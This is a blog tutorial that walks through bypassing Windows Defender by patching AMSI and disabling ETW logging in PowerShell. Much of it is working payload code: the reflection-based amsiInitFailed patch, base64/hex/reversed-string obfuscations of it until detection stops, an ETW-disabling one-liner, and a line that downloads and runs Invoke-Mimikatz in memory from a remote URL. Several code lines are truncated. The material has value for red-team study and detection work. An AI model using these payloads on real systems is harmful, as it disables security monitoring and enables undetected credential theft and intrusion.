Bypassing Windows Defender

0xstarlight.github.io/posts/Bypassing-Windows-Defender

Bhaskar Pal May 14, 2023

Introduction

Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approach.

> Throughout the article, I will use AmsiTrigger and Invoke-obfuscation. These tools will help to identify the malicious scripts and help obfuscate them.

Bypassing AV Signatures PowerShell

Windows Defender Antimalware Scan Interface (AMSI) is a security feature that is built into Windows 10 and Windows Server 2016 and later versions. AMSI is designed to provide enhanced malware protection by allowing antivirus and other security solutions to scan script-based attacks and other suspicious code before they execute on a system.

By disabling or AMSI, attackers can download malicious scripts in memory on the systems.

> Original Payload for AMSI bypass
>
> ```
> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($nu
> true)
> ```

Methodology - Manual

1. Scan using AMSITrigger
2. Modify the detected code snippet
    1. Base64
    2. Hex
    3. Concat
    4. Reverse String
3. Rescan using AMSITrigger or Download a test ps1 script in memory
4. Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”

Understanding the command

This command is used to modify the behavior of the Anti-Malware Scan Interface (AMSI) in PowerShell. Specifically, it sets a private, static field within the *System.Management.Automation.AmsiUtils* class called **“amsiInitFailed”** to true, which indicates that the initialization of AMSI has failed.

Here is a breakdown of the command and what each part does:

1. `[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')`: This first part of the command uses the `[Ref]` type accelerator to get a reference to the `System.Management.Automation` assembly and then uses the `GetType()` method to get a reference to the `System.Management.Automation.AmsiUtils` class.
    1. `System.Management.Automation.AmsiUtils` is a part of the PowerShell scripting language and is used to interact with the Anti-Malware Scan Interface (AMSI) on Windows operating systems. AMSI is a security feature that allows software to integrate with antivirus and other security products to scan and detect malicious content in scripts and other files.
    2. While `System.Management.Automation.AmsiUtils` itself is not inherently malicious, it can be flagged as such if it is being used in a context that appears suspicious to antivirus or other security software. For example, malware authors may use PowerShell scripts that leverage AMSI to bypass traditional antivirus detection and execute malicious code on a system.
    3. Thus, `System.Management.Automation.AmsiUtils` may be flagged as malicious if it is being used in a context that appears to be part of a malware attack or if it is being used in a way that violates security policies on a system.
2. `.GetField('amsiInitFailed','NonPublic,Static')`: This part of the command uses the `GetField()` method to get a reference to the private, static field within the *System.Management.Automation.AmsiUtils* class called `"amsiInitFailed"`. The `'NonPublic,Static'` argument specifies that the method should retrieve a non-public and static field.
3. `.SetValue($null,$true)`: Finally, this part of the command uses the `SetValue()` method to set the value of the `"amsiInitFailed"` field to true. The `$null` argument specifies that we are not setting the value on an instance of the object, and the `$true` argument is the new value we are setting the field to.

The reason for setting `"amsiInitFailed"` to true is to bypass AMSI detection, which may be used by antivirus or other security software to detect and block potentially malicious PowerShell commands or scripts. By indicating that the initialization of AMSI has failed, this command prevents AMSI from running and potentially interfering with the execution of PowerShell commands or scripts. It is worth noting, however, that bypassing AMSI can also make it easier for malicious actors to execute code on a system undetected, so caution should be exercised when using this command in practice.

Running the command

Lets open Powershell and execute the original payload to patch AMSI and check the result.

```
PS:\>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$
true)
```

- As we can see, Windows has identified the command as malicious and blocked it from being executed.
- Now we need to identify what part of the payload is getting detected by Defender and triggering it to be marked as malicious.

AMSI Trigger

With the help of **AMSITrigger.exe**, we can identify the malicious string in the payload.

```
PS C:\AMSITrigger>
.\AmsiTrigger_x64.exe
```

We can save our payload in a `.ps1` file, and with the `-i` flag, we can supply the malicious `ps1` file

```
PS C:\AMSITrigger>  .\AmsiTrigger_x64.exe -i
test.ps1
```


From the output results we can see that it flagged two strings as malicious

1. **“A m s i U t i l s”**
2. **“a m s i I n i t F a i l e d”**

Patching AMSI

After analyzing the strings that caused Windows Defender to block our script, we can now take steps to bypass this security mechanism. Several techniques can be used to evade detection, with one of the simplest and most effective being to encode or encrypt the payload.

We can do it in the following ways

1. Base64 Encoding
2. Hex Encoding
3. Reversing The String

4. Concatenation

> Now lets try to modify our original payload using just Base64 encoding.

Base64 Encoding

Base64 Encoding is a widely used encoding technique that converts binary data into a string of ASCII characters. This method is easy to implement and can be decoded with simple tools.

A simple Base64 encoding and decoding snippet in PowerShell looks like this :

```
# Encoding Payload
PS:\> $Text = 'Hello World';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=
[Convert]::ToBase64String($Bytes);$EncodedText
# Decoding Paylaod
PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SABlAGwAbABvACAAVwBvAHIAbABkAA==')))
```


Now we can do the same for *AmsiUtils* and *amsiInitFailed*

```
PS:\> $Text = 'AmsiUtils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=
[Convert]::ToBase64String($Bytes);$EncodedText
```


Windows Defender could still detect *AmsiUtils* encoded in base64. We can divide this into two pieces and concat them together to avoid getting detected.

```
# Encoding Payload
PS:\> $Text = 'Amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$E
PS:\> $Text = 'Utils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$

# Decoding Paylaod
PS:\>
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unic
=')))
```


- We can see this way we have encoded *AmsiUtils* without triggering Defender
- Lets try the same for *amsiInitFailed* by splitting it into 3 parts
    1. *amsi*
    2. *Init*
    3. *Failed*

```
# Encoding Payload
PS:\> $Text = 'amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=
[Convert]::ToBase64String($Bytes);$EncodedText
PS:\> $Text = 'Init';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=
[Convert]::ToBase64String($Bytes);$EncodedText
PS:\> $Text = 'Failed';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=
[Convert]::ToBase64String($Bytes);$EncodedText

# Decoding Paylaod
PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) +
$([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) +
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA'))))
```


As we can see, we have encoded *amsiInitFailed* also without triggering Defender.

Final Payload

Now that we crafted the final payload to Patch AMSI, let us look back at the original AMSI bypass code.

```
PS:\>
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$
true)
```

All we need to do now is replace *AmsiUtils* and *amsiInitFailed* with the base64 encoded payload and concat the rest of the string.

```
PS:\>
[Ref].Assembly.GetType($('System.Management.Automation.')+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBas
A=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA='')))) + $([System.Text.En
```

For confirmation, we can download and execute `Mimikatz.ps1` in the memory and check if its triggering Defender.

```
PS:\> IEX(iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -
UseBasicParsing)
```

As you can see, we successfully encoded the AMSI bypass payload in base64. Below I will give a demonstration on how to encode it in hex and use techniques like reverse string and concatenation

Concatenation

An easy was of bypassing **“A m s i U t i l s”** is by simply splitting it into two words and adding them together.

```
PS:\> 'AmsiUtils'
PS:\> 'Amsi' +
'Utils'
```

Hex Encoding

A simple Hex encoding and decoding snippet in PowerShell looks like this :

```
# Encoding Payload
PS:\> "Hello World" | Format-Hex

# Decoding Payload
PS:\> $r = '48 65 6C 6C 6F 20 57 6F 72 6C 64'.Split(" ")|forEach{[char]
([convert]::toint16($_,16))}|forEach{$s=$s+$_}
PS C:\> $s
```

Reverse String

The last technique is by reversing the string for obfuscating the payload.

```
# Encoding Payload
PS:\> (([regex]::Matches("testing payload",'.','RightToLeft') | foreach {$_.value}) -
join '')

# Decoding Payload
PS:\> (([regex]::Matches("daolyap gnitset",'.','RightToLeft') | foreach {$_.value}) -
join '')
```


Final Payload - 2

We can also combine these techniques to create a more powerful and effective payload that can evade detection by Windows Defender. Using a combination of Base64 Encoding, Hex Encoding, Reversing The String, and Concatenation, we can create a highly obfuscated payload to bypass Windows Defender.

```
PS:\> $w = 'System.Manag';$r = '65 6d 65 6e 74 2e 41 75 74 6f 6d 61 74 69 6f 6e 2e'.Split(" ")|forEach{[char]
([convert]::toint16($_,16))}|forEach{$s=$s+$_};$c = 'Amsi'+'Utils';$assembly = [Ref].Assembly.GetType(('{0}{1}{2}' -f
$w,$s,$c));$n = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAA==')));$b =
'siIn';$k = (([regex]::Matches("deliaFti",'.','RightToLeft') | foreach {$_.value}) -join '');$field =
$assembly.GetField(('{0}{1}{2}' -f $n,$b,$k),'NonPublic,Static');$field.SetValue($null,$true)
```

Patching Event Tracing for Windows

Event Tracing for Windows (ETW) is a powerful logging and tracing mechanism in the Windows operating system that allows developers, administrators, and analysts to monitor and diagnose system events in real time. It collects and analyses diagnostic and performance data from applications and services running on Windows. ETW records events generated by the operating system and applications, including information on processes, threads, disk I/O, network activity, and more.

By disabling or manipulating ETW, attackers can prevent security tools from logging their actions or tracking their movement within a system.

> Original Payload to patch ETW
>
> ```
> [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_
> l),0)
> ```

Understanding the command

This command is used to modify the behavior of the Event Tracing for Windows(ETW) in PowerShell. Specifically, it sets a private, static field within the *System.Management.Automation.Tracing.PSEtwLogProvider* class called `"m_enabled"` to true, `0` indicates that the initialization of ETW is disabled.

Here is a breakdown of the command and what each part does:

1. `[Reflection.Assembly]::LoadWithPartialName('System.Core')` loads the `System.Core` assembly into memory.
2. `.GetType('System.Diagnostics.Eventing.EventProvider')` retrieves the `EventProvider` type from the loaded assembly.
3. `.GetField('m_enabled','NonPublic,Instance')` retrieves the `m_enabled` field of the **EventProvider** type, which determines whether event tracing is enabled for that provider.
4. `.SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)` sets the `m_enabled` field of the PowerShell ETW provider to `0` (disabled). This prevents PowerShell from logging events to the Windows Event Log or other ETW consumers.

Patching ETW

We have already learned how to patch PowerShell scripts manually. I will explain how to obfuscate Powershell using **Invoke-Obfuscation** for this example. I already have this setup on my Commando-VM.

First thing is that we can launch **Invoke-Obfuscation**

We can set our payload and use AES encryption to encrypt our payload.

```
Invoke-Obfuscation> SET SCRIPT BLOCK
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enab
l),0)

Invoke-Obfuscation> ENCODING
Invoke-Obfuscation> ENCODING\5
```

The encrypted payload will be visible at the end of the screen.

Now we can execute the payload. Before doing that, we need to understand why we have encrypted the payload and what the payload does. First, lets directly execute the payload.

As we can see that Defender has detected our encrypted payload, this is because it’s encryption which will be decrypted and get executed. Hence will help in bypassing Static analysis only. We can better understand if we execute the command without executing it.

To circumvent this security measure, we can bypass AMSI and then execute the desired command.

It’s worth noting that while we can bypass AMSI and execute the raw payload to disable ETW, doing so may result in detecting and logging the attack in the PowerShell history file. As a result, it is recommended to use additional techniques such as encoding or obfuscation to evade detection and prevent attack logging.

Tools Used

1. AmsiTrigger
2. Invoke-obfuscation

If you find my articles interesting, you can buy me a coffee